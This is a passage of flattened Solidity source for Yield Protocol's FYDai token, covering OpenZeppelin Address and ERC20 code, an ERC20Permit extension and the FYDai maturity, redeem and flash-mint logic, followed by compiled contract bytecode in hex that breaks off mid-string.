orchestrate(address user, bytes4 signature) public onlyOwner { orchestration[user][signature] = true; emit GrantedAccess(user, signature); } /// @dev Adds orchestration for the provided function signatures function batchOrchestrate(address user, bytes4[] memory signatures) public onlyOwner { for (uint256 i = 0; i < signatures.length; i++) { orchestrate(user, signatures[i]); } } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/helpers/ERC20Permit.sol // Adapted from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/53516bc555a454862470e7860a9b5254db4d00f5/contracts/token/ERC20/ERC20Permit.sol pragma solidity ^0.6.0; /** * @dev Extension of {ERC20} that allows token holders to use their tokens * without sending any transactions by setting {IERC20-allowance} with a * signature using the {permit} method, and then spend them via * {IERC20-transferFrom}. * * The {permit} signature mechanism conforms to the {IERC2612} interface. */ abstract contract ERC20Permit is ERC20, IERC2612 { mapping (address => uint256) public override nonces; bytes32 public immutable PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public immutable DOMAIN_SEPARATOR; constructor(string memory name_, string memory symbol_) internal ERC20(name_, symbol_) { uint256 chainId; assembly { chainId := chainid() } DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name_)), keccak256(bytes("1")), chainId, address(this) ) ); } /** * @dev See {IERC2612-permit}. * * In cases where the free option is not a concern, deadline can simply be * set to uint(-1), so it should be seen as an optional parameter */ function permit(address owner, address spender, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual override { require(deadline >= block.timestamp, "ERC20Permit: expired deadline"); bytes32 hashStruct = keccak256( abi.encode( PERMIT_TYPEHASH, owner, spender, amount, nonces[owner]++, deadline ) ); bytes32 hash = keccak256( abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, hashStruct ) ); address signer = ecrecover(hash, v, r, s); require( signer != address(0) && signer == owner, "ERC20Permit: invalid signature" ); _approve(owner, spender, amount); } } // File: contracts/FYDai.sol pragma solidity ^0.6.10; /** * @dev fyDai is an fyToken targeting Chai. * Each fyDai contract has a specific maturity time. One fyDai is worth one Chai at or after maturity time. * At maturity, the fyDai can be triggered to mature, which records the current rate and chi from MakerDAO and enables redemption. * Redeeming an fyDai means burning it, and the contract will retrieve Dai from Treasury equal to one Dai times the growth in chi since maturity. * fyDai also tracks the MakerDAO stability fee accumulator at the time of maturity, and the growth since. This is not used internally. * Minting and burning of fyDai is restricted to orchestrated contracts. Redeeming and flash-minting is allowed to anyone. */ contract FYDai is IFYDai, Orchestrated(), Delegable(), DecimalMath, ERC20Permit { event Redeemed(address indexed from, address indexed to, uint256 fyDaiIn, uint256 daiOut); event Matured(uint256 rate, uint256 chi); bytes32 public constant WETH = "ETH-A"; uint256 constant internal MAX_TIME_TO_MATURITY = 126144000; // seconds in four years IVat public vat; IPot public pot; ITreasury public treasury; bool public override isMature; uint256 public override maturity; uint256 public override chi0; // Chi at maturity uint256 public override rate0; // Rate at maturity uint public override unlocked = 1; modifier lock() { require(unlocked == 1, 'FYDai: Locked'); unlocked = 0; _; unlocked = 1; } /// @dev The constructor: /// Sets the name and symbol for the fyDai token. /// Connects to Vat, Jug, Pot and Treasury. /// Sets the maturity date for the fyDai, in unix time. /// Initializes chi and rate at maturity time as 1.0 with 27 decimals. constructor( address treasury_, uint256 maturity_, string memory name, string memory symbol ) public ERC20Permit(name, symbol) { // solium-disable-next-line security/no-block-members require(maturity_ > now && maturity_ < now + MAX_TIME_TO_MATURITY, "FYDai: Invalid maturity"); treasury = ITreasury(treasury_); vat = treasury.vat(); pot = treasury.pot(); maturity = maturity_; chi0 = UNIT; rate0 = UNIT; } /// @dev Chi differential between maturity and now in RAY. Returns 1.0 if not mature. /// If rateGrowth < chiGrowth, returns rate. // // chi_now // chi() = --------- // chi_mat // function chiGrowth() public view override returns(uint256){ if (isMature != true) return chi0; return Math.min(rateGrowth(), divd(pot.chi(), chi0)); // Rounding in favour of the protocol } /// @dev Rate differential between maturity and now in RAY. Returns 1.0 if not mature. /// rateGrowth is floored to 1.0. // // rate_now // rateGrowth() = ---------- // rate_mat // function rateGrowth() public view override returns(uint256){ if (isMature != true) return rate0; (, uint256 rate,,,) = vat.ilks(WETH); return Math.max(UNIT, divdrup(rate, rate0)); // Rounding in favour of the protocol } /// @dev Mature fyDai and capture chi and rate function mature() public override { require( // solium-disable-next-line security/no-block-members now > maturity, "FYDai: Too early to mature" ); require( isMature != true, "FYDai: Already matured" ); (, rate0,,,) = vat.ilks(WETH); // Retrieve the MakerDAO Vat rate0 = Math.max(rate0, UNIT); // Floor it at 1.0 chi0 = pot.chi(); isMature = true; emit Matured(rate0, chi0); } /// @dev Burn fyDai and return their dai equivalent value, pulled from the Treasury /// During unwind, `treasury.pullDai()` will revert which is right. /// `from` needs to tell fyDai to approve the burning of the fyDai tokens. /// `from` can delegate to other addresses to redeem his fyDai and put the Dai proceeds in the `to` wallet. /// The collateral needed changes according to series maturity and MakerDAO rate and chi, depending on collateral type. /// @param from Wallet to burn fyDai from. /// @param to Wallet to put the Dai in. /// @param fyDaiAmount Amount of fyDai to burn. // from --- fyDai ---> us // us --- Dai ---> to function redeem(address from, address to, uint256 fyDaiAmount) public onlyHolderOrDelegate(from, "FYDai: Only Holder Or Delegate") lock override returns (uint256) { require( isMature == true, "FYDai: fyDai is not mature" ); _burn(from, fyDaiAmount); // Burn fyDai from `from` uint256 daiAmount = muld(fyDaiAmount, chiGrowth()); // User gets interest for holding after maturity treasury.pullDai(to, daiAmount); // Give dai to `to`, from Treasury emit Redeemed(from, to, fyDaiAmount, daiAmount); return daiAmount; } /// @dev Flash-mint fyDai. Calls back on `IFlashMinter.executeOnFlashMint()` /// @param fyDaiAmount Amount of fyDai to mint. /// @param data User-defined data to pass on to `executeOnFlashMint()` function flashMint(uint256 fyDaiAmount, bytes calldata data) external lock override { _mint(msg.sender, fyDaiAmount); IFlashMinter(msg.sender).executeOnFlashMint(fyDaiAmount, data); _burn(msg.sender, fyDaiAmount); } /// @dev Mint fyDai. Only callable by Controller contracts. /// This function can only be called by other Yield contracts, not users directly. /// @param to Wallet to mint the fyDai in. /// @param fyDaiAmount Amount of fyDai to mint. function mint(address to, uint256 fyDaiAmount) public override onlyOrchestrated("FYDai: Not Authorized") { _mint(to, fyDaiAmount); } /// @dev Burn fyDai. Only callable by Controller contracts. /// This function can only be called by other Yield contracts, not users directly. /// @param from Wallet to burn the fyDai from. /// @param fyDaiAmount Amount of fyDai to burn. function burn(address from, uint256 fyDaiAmount) public override onlyOrchestrated("FYDai: Not Authorized") { _burn(from, fyDaiAmount); } /// @dev Creates `fyDaiAmount` tokens and assigns them to `to`, increasing the total supply, up to a limit of 2**112. /// @param to Wallet to mint the fyDai in. /// @param fyDaiAmount Amount of fyDai to mint. function _mint(address to, uint256 fyDaiAmount) internal override { super._mint(to, fyDaiAmount); require(totalSupply() <= 5192296858534827628530496329220096, "FYDai: Total supply limit exceeded"); // 2**112 } }
0x608060405234801561001057600080fd5b506004361061027f5760003560e01c8063715018a61161015c578063ad5c4648116100ce578063dd62ed3e11610087578063dd62ed3e14610770578063e71bdf411461079e578063e80c72c0146107c4578063f2fde38b14610877578063f6bcbd311461089d578063fa352c00146108cb5761027f565b8063ad5c4648146106d9578063ae4e7fdf146106e1578063b5d832fe146106e9578063c0bd65d71461070f578063cb24019814610717578063d505accf1461071f5761027f565b806395d89b411161012057806395d89b411461063d5780639d8e2177146106455780639dc29fac1461064d578063a457c2d714610679578063a9059cbb146106a5578063abf1614b146106d15761027f565b8063715018a6146105f75780637ecebe00146105ff57806387b65207146106255780638da5cb5b1461062d57806393c19e18146106355761027f565b80633644e515116101f55780634ba2363a116101b95780634ba2363a1461050c578063522c80671461051457806358ada5261461058b57806361d027b3146105c15780636a5e2650146105c957806370a08231146105d15761027f565b80633644e5151461048057806336569e771461048857806339509351146104ac57806340c10f19146104d8578063459e414f146105045761027f565b806318160ddd1161024757806318160ddd146103c95780631a28ff05146103d1578063204f83f91461041c57806323b872dd1461042457806330adf81f1461045a578063313ce567146104625761027f565b8063028f7d551461028457806306fdde03146102bc578063095ea7b3146103395780630e6dfcd51461037957806312970eac146103c1575b600080fd5b6102ba6004803603604081101561029a57600080fd5b5080356001600160a01b031690602001356001600160e01b0319166108f1565b005b6102c46109c5565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102fe5781810151838201526020016102e6565b50505050905090810190601f16801561032b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103656004803603604081101561034f57600080fd5b506001600160a01b038135169060200135610a5c565b604080519115158252519081900360200190f35b6103af6004803603606081101561038f57600080fd5b506001600160a01b03813581169160208101359091169060400135610a7a565b60408051918252519081900360200190f35b6103af610d1e565b6103af610d24565b6102ba600480360360c08110156103e757600080fd5b506001600160a01b03813581169160208101359091169060408101359060ff6060820135169060808101359060a00135610d2a565b6103af610f4d565b6103656004803603606081101561043a57600080fd5b506001600160a01b03813581169160208101359091169060400135610f53565b6103af610fe0565b61046a611004565b6040805160ff9092168252519081900360200190f35b6103af61100d565b610490611031565b604080516001600160a01b039092168252519081900360200190f35b610365600480360360408110156104c257600080fd5b506001600160a01b038135169060200135611040565b6102ba600480360360408110156104ee57600080fd5b506001600160a01b038135169060200135611094565b6103af611146565b61049061116a565b6102ba6004803603604081101561052a57600080fd5b8135919081019060408101602082013564010000000081111561054c57600080fd5b82018360208201111561055e57600080fd5b8035906020019184600183028401116401000000008311171561058057600080fd5b509092509050611179565b610365600480360360408110156105a157600080fd5b5080356001600160a01b031690602001356001600160e01b03191661126c565b61049061128c565b6103af61129b565b6103af600480360360208110156105e757600080fd5b50356001600160a01b03166112a1565b6102ba6112bc565b6103af6004803603602081101561061557600080fd5b50356001600160a01b0316611369565b6102ba61137b565b610490611598565b6103af6115ac565b6102c46115b2565b6103af611613565b6102ba6004803603604081101561066357600080fd5b506001600160a01b038135169060200135611623565b6103656004803603604081101561068f57600080fd5b506001600160a01b0381351690602001356116d0565b610365600480360360408110156106bb57600080fd5b506001600160a01b03813516906020013561173e565b6103af611752565b6103af611824565b610365611830565b6103af600480360360208110156106ff57600080fd5b50356001600160a01b0316611840565b6103af611852565b6103af611876565b6102ba600480360360e081101561073557600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611927565b6103af6004803603604081101561078657600080fd5b506001600160a01b0381358116916020013516611b55565b6102ba600480360360208110156107b457600080fd5b50356001600160a01b0316611b80565b6102ba600480360360408110156107da57600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561080557600080fd5b82018360208201111561081757600080fd5b8035906020019184602083028401116401000000008311171561083957600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611b8d945050505050565b6102ba6004803603602081101561088d57600080fd5b50356001600160a01b0316611c1b565b610365600480360360408110156108b357600080fd5b506001600160a01b0381358116916020013516611d24565b6102ba600480360360208110156108e157600080fd5b50356001600160a01b0316611d44565b6108f9611d4e565b60055461010090046001600160a01b0390811691161461094e576040805162461bcd60e51b81526020600482018190526024820152600080516020612870833981519152604482015290519081900360640190fd5b6001600160a01b03821660008181526006602090815260408083206001600160e01b0319861680855290835292819020805460ff1916600117905580519384529083019190915280517f80e6a982b9aa622283c64c5ba322fc345fe769ac330a174f3254e52926e5fcf89281900390910190a15050565b60038054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610a515780601f10610a2657610100808354040283529160200191610a51565b820191906000526020600020905b815481529060010190602001808311610a3457829003601f168201915b505050505090505b90565b6000610a70610a69611d4e565b8484611d52565b5060015b92915050565b6000836040518060400160405280601e81526020017f46594461693a204f6e6c7920486f6c646572204f722044656c65676174650000815250816001600160a01b0316336001600160a01b03161480610af657506001600160a01b038216600090815260086020908152604080832033845290915290205460ff165b8190610b805760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610b45578181015183820152602001610b2d565b50505050905090810190601f168015610b725780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50601054600114610bc8576040805162461bcd60e51b815260206004820152600d60248201526c119651185a4e88131bd8dad959609a1b604482015290519081900360640190fd5b6000601055600c54600160a01b900460ff161515600114610c30576040805162461bcd60e51b815260206004820152601a60248201527f46594461693a206679446169206973206e6f74206d6174757265000000000000604482015290519081900360640190fd5b610c3a8685611e3e565b6000610c4d85610c48611876565b611f46565b600c5460408051635502770360e01b81526001600160a01b038a8116600483015260248201859052915193945091169163550277039160448082019260009290919082900301818387803b158015610ca457600080fd5b505af1158015610cb8573d6000803e3d6000fd5b50505050856001600160a01b0316876001600160a01b03167f5cdf07ad0fc222442720b108e3ed4c4640f0fadc2ab2253e66f259a0fea834808784604051808381526020018281526020019250505060405180910390a360016010559695505050505050565b600e5481565b60025490565b42841015610d7f576040805162461bcd60e51b815260206004820152601c60248201527f44656c656761626c653a205369676e6174757265206578706972656400000000604482015290519081900360640190fd5b6001600160a01b0380871660008181526007602090815260408083208054600180820190925582517f0d077601844dd17f704bafff948229d27f33b57445915754dfe3d095fda2beb78186015280840196909652958b166060860152608085019590955260a08085018a90528151808603909101815260c08501825280519083012061190160f01b60e08601527f09a3b68c0edddb0a6d8cfb6721a953ae5a935e438c787e8b44b512f24803c8c960e286015261010280860182905282518087039091018152610122860180845281519185019190912090859052610142860180845281905260ff8a1661016287015261018286018990526101a2860188905291519095919491926101c2808401939192601f1981019281900390910190855afa158015610eb1573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811615801590610ee75750886001600160a01b0316816001600160a01b0316145b610f38576040805162461bcd60e51b815260206004820152601c60248201527f44656c656761626c653a20496e76616c6964207369676e617475726500000000604482015290519081900360640190fd5b610f428989611f7b565b505050505050505050565b600d5481565b6000610f60848484612062565b610fd684610f6c611d4e565b610fd185604051806060016040528060288152602001612848602891396001600160a01b038a16600090815260016020526040812090610faa611d4e565b6001600160a01b03168152602081019190915260400160002054919063ffffffff6121c916565b611d52565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b60055460ff1690565b7fcde1211fcb04139af2a587904ea35c5b5dd4746f2a353f21c3597a2bfa92ce7b81565b600a546001600160a01b031681565b6000610a7061104d611d4e565b84610fd1856001600061105e611d4e565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff61222316565b6040805180820182526015815274119651185a4e88139bdd08105d5d1a1bdc9a5e9959605a1b602080830191909152336000908152600682528381206001600160e01b031982351682529091529190912054819060ff166111365760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610b45578181015183820152602001610b2d565b50611141838361227d565b505050565b7f09a3b68c0edddb0a6d8cfb6721a953ae5a935e438c787e8b44b512f24803c8c981565b600b546001600160a01b031681565b6010546001146111c0576040805162461bcd60e51b815260206004820152600d60248201526c119651185a4e88131bd8dad959609a1b604482015290519081900360640190fd5b60006010556111cf338461227d565b6040805163be0e792760e01b8152600481018581526024820192835260448201849052339263be0e792792879287928792606401848480828437600081840152601f19601f820116905080830192505050945050505050600060405180830381600087803b15801561124057600080fd5b505af1158015611254573d6000803e3d6000fd5b505050506112623384611e3e565b5050600160105550565b600660209081526000928352604080842090915290825290205460ff1681565b600c546001600160a01b031681565b60105481565b6001600160a01b031660009081526020819052604090205490565b6112c4611d4e565b60055461010090046001600160a01b03908116911614611319576040805162461bcd60e51b81526020600482018190526024820152600080516020612870833981519152604482015290519081900360640190fd5b60055460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360058054610100600160a81b0319169055565b60096020526000908152604090205481565b600d5442116113d1576040805162461bcd60e51b815260206004820152601a60248201527f46594461693a20546f6f206561726c7920746f206d6174757265000000000000604482015290519081900360640190fd5b600c54600160a01b900460ff1615156001141561142e576040805162461bcd60e51b8152602060048201526016602482015275119651185a4e88105b1c9958591e481b585d1d5c995960521b604482015290519081900360640190fd5b600a5460408051636cb1c69b60e11b8152644554482d4160d81b600482015290516001600160a01b039092169163d9638d369160248082019260a092909190829003018186803b15801561148157600080fd5b505afa158015611495573d6000803e3d6000fd5b505050506040513d60a08110156114ab57600080fd5b5060200151600f8190556114cb906b033b2e3c9fd0803ce80000006122d5565b600f55600b546040805163324abb3160e21b815290516001600160a01b039092169163c92aecc491600480820192602092909190829003018186803b15801561151357600080fd5b505afa158015611527573d6000803e3d6000fd5b505050506040513d602081101561153d57600080fd5b5051600e819055600c805460ff60a01b1916600160a01b179055600f5460408051918252602082019290925281517f30a742d45111295203c4b8db614c8b05dd1323a7c5159fb88b0cc73be46b7a75929181900390910190a1565b60055461010090046001600160a01b031690565b600f5481565b60048054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610a515780601f10610a2657610100808354040283529160200191610a51565b6b033b2e3c9fd0803ce800000081565b6040805180820182526015815274119651185a4e88139bdd08105d5d1a1bdc9a5e9959605a1b602080830191909152336000908152600682528381206001600160e01b031982351682529091529190912054819060ff166116c55760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610b45578181015183820152602001610b2d565b506111418383611e3e565b6000610a706116dd611d4e565b84610fd1856040518060600160405280602581526020016128fa6025913960016000611707611d4e565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff6121c916565b6000610a7061174b611d4e565b8484612062565b600c54600090600160a01b900460ff1615156001146117745750600f54610a59565b600a5460408051636cb1c69b60e11b8152644554482d4160d81b600482015290516000926001600160a01b03169163d9638d369160248083019260a0929190829003018186803b1580156117c757600080fd5b505afa1580156117db573d6000803e3d6000fd5b505050506040513d60a08110156117f157600080fd5b5060200151600f5490915061181e906b033b2e3c9fd0803ce8000000906118199084906122ec565b6122d5565b91505090565b644554482d4160d81b81565b600c54600160a01b900460ff1681565b60076020526000908152604090205481565b7f0d077601844dd17f704bafff948229d27f33b57445915754dfe3d095fda2beb781565b600c54600090600160a01b900460ff1615156001146118985750600e54610a59565b6119226118a3611752565b600b546040805163324abb3160e21b8152905161191d926001600160a01b03169163c92aecc4916004808301926020929190829003018186803b1580156118e957600080fd5b505afa1580156118fd573d6000803e3d6000fd5b505050506040513d602081101561191357600080fd5b5051600e54612360565b612382565b905090565b4284101561197c576040805162461bcd60e51b815260206004820152601d60248201527f45524332305065726d69743a206578706972656420646561646c696e65000000604482015290519081900360640190fd5b6001600160a01b0380881660008181526009602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958c166060860152608085018b905260a085019590955260c08085018a90528151808603909101815260e08501825280519083012061190160f01b6101008601527fcde1211fcb04139af2a587904ea35c5b5dd4746f2a353f21c3597a2bfa92ce7b61010286015261012280860182905282518087039091018152610142860180845281519185019190912090859052610162860180845281905260ff8a166101828701526101a286018990526101c2860188905291519095919491926101e2808401939192601f1981019281900390910190855afa158015611ab7573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811615801590611aed5750896001600160a01b0316816001600160a01b0316145b611b3e576040805162461bcd60e51b815260206004820152601e60248201527f45524332305065726d69743a